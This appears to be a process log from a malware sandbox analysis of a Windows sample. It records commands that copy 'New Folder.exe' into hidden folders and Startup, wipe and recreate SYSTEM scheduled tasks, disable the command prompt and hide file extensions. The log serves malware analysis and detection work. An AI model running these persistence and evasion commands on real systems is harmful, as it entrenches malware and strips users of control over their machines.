C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:644
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4372
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2032
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2692
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:884
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:436
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4488
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3644
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:744
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4016
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3448
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3588
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3616
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1504
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3452
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1844
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:2668
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4320
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:3844
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2688
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:852
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2852
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4300
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2240
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1212
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:5040
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4356
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4260
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1176
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:2864
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4136
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:5092
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3912
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4028
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1152
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1452
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:5080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4692
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵
- Creates scheduled task(s)
PID:2648
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4744
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:240
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:4652
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3856
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4264
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2240
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2500
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3380
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4188
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:5092
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1148
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1504
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:3512
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4016
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4212
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:640
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:1840
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:5100
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:5008
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4964
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1416
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2156
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3324
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:608
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:436
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3172
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:4516
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4524
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4768
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:2484
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4432
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2688
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4500
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:1836
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:644
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:768
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4836
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3324
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4488
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:744
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3084
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:664
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:4864
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4692
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:5100
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4588
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:1292
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:852
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:2136
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1908
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4136
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1816
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3172
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:3512
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4676
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3952
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:1420
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1508
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1316
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1796
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:948
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2076
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:3076
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2036
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:3760
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:3640
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:608
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3892
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3092
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4736
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:856
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:3444
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:1844
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2164
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3368
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:1692
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4512
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:392
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:1528
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:644
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4488
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1780
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4188
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2072
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2448
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2668
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:4676
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2840
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4284
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:1096
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4052
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4528
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:1452
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:1500
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4116
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1844
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1816
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4052
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1088
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:2948
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:5080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4692
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1348
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2760
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:1504
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4528
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:3084
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4504
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:3452
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1316
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:3648
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:948
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:4476
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4592
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4524
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1508
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:2944
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:2760
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1188
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:4680
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4572
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3380
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵
- Views/modifies file attributes
PID:4364
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:2252
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3452
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2984
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:2740
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:3616
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:4920
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1212
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:2404
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:4512
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:2252
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3640
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:436
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4788
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:4116
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4084
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵
- Creates scheduled task(s)
PID:1536
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:1508
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:3148
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:2944
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:852
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1292
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1848
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1676
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:1908
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2484
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4560
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4524
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4728
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:3644
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4920
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4588
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s -h "C:\Users\Admin\Start Menu\Programs\Startup\text.txt"4⤵PID:1716
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3620
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\bg1\" /h /c /y /i4⤵PID:3076
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3860
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:2344
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2120
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:1500
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4128
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4212
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:3236
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4880
-
-
